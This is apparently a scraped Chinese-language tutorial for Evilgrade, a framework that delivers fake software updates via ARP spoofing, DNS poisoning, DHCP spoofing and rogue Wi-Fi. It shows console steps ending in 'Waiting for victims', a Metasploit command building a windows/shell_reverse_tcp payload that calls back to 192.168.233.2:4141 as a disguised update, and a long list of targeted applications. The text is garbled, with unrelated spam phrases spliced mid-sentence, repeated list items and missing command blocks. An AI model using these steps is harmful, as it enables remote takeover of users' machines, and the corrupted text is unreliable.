Evilgrade是何使一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的用E应用更新代码,并利用存在安全问题的测试程序更新实现机制来测试目标升级更新功能的安全性。免费模板该工具提供了预构建的制否代理以及支持快速测试的默认工作配置
。除此之外,安全该工具还拥有自己的何使WebServer和DNSServer模块。 1
、云计算用E应用内部DNS访问; 2、测试程序ARP欺骗; 3、制否DNS缓存投毒; 4、安全DHCP欺骗; 5、何使TCP劫持; 6、用E应用Wi-Fi访问点伪造; 1 、测试程序内部DNS访问; 2、高防服务器制否DNS缓存投毒; 广大研究人员可以使用下列命令将该项目源码克隆至本地
: 下面给出的是工具的帮助信息: help a command. 配置模块名称 退出程序 输出工具帮助信息 重新加载并更新所有模块 重启Web服务器 配置变量 显示对象信息 开启Web服务器 获取Web服务器窗台 停止Web服务器 显示框架版本 显示当前模块的选项 显示当前模块的VirtualHosts 列举所有可用的源码下载模块 列举实现的模块: show modules ... ... ... 配置指定模块: conf sunjava 开启服务(DNS服务器和WebServer)
: start Webserver ready. Waiting for connections ... DNS Server Ready. Waiting for Connections ... #### Waiting for victims 显示状态和日志
: show status already running 在这种情况下,对于每个所需的更新二进制文件
,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。香港云服务器<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。 比如说
,如果我们运行下列命令
: 那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe"
,然后生成不同的代理。模板下载 在Evilgrade外运行 : 在Evilgrade内运行: 生成好Payload之后
,我们将得到多个处理器Handler来监听之前分配的LHOST : E Evilgrade
:【GitHub传送门】 http://www.faradaysec.com/关于Evilgrade
工具使用场景
内部场景
外部场景
实现的安全模块
Freerip 3.30Jet photo 4.7.2Teamviewer 5.1.9385ISOpen 4.5.0Istat.Gom 2.1.25.5015Atube catcher 1.0.300Vidbox 7.5Ccleaner 2.30.1130Fcleaner 1.2.9.409Allmynotes 1.26Notepad++ 5.8.2Java 1.6.0_22 winxp/win7aMSN 0.98.3Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)Mirc 7.14Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702)Dap 9.5.0.3Winscp 4.2.9AutoIt Script 3.3.6.1Clamwin 0.96.0.1AppTapp Installer 3.11 (Iphone/Itunes)getjar (facebook.com)Google Analytics Javascript injectionSpeedbit Optimizer 3.0 / Video Acceleration 2.2.1.8Winamp 5.581TechTracker (cnet) 1.3.1 (Build 55)Nokiasoftware firmware update 2.4.8esNokia firmware v20.2.011BSplayer 2.53.1034Apt ( < Ubuntu 10.04 LTS)Ubertwitter 4.6 (0.971)Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45Cpan 1.9402VirtualBox (3.2.8 )Express talkFilezillaFlashgetMirandaOrbitPhotoscape.Panda AntirootkitSkypeSunbeltSuperantispywareTrillian <= 5.0.0.26Adium 1.3.10 (Sparkle Framework)VMware...工具下载
工具使用
工具高级使用
使用场景一
复制evilgrade(sunjava)>set agent ["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]1. 使用场景二
项目地址
参考资料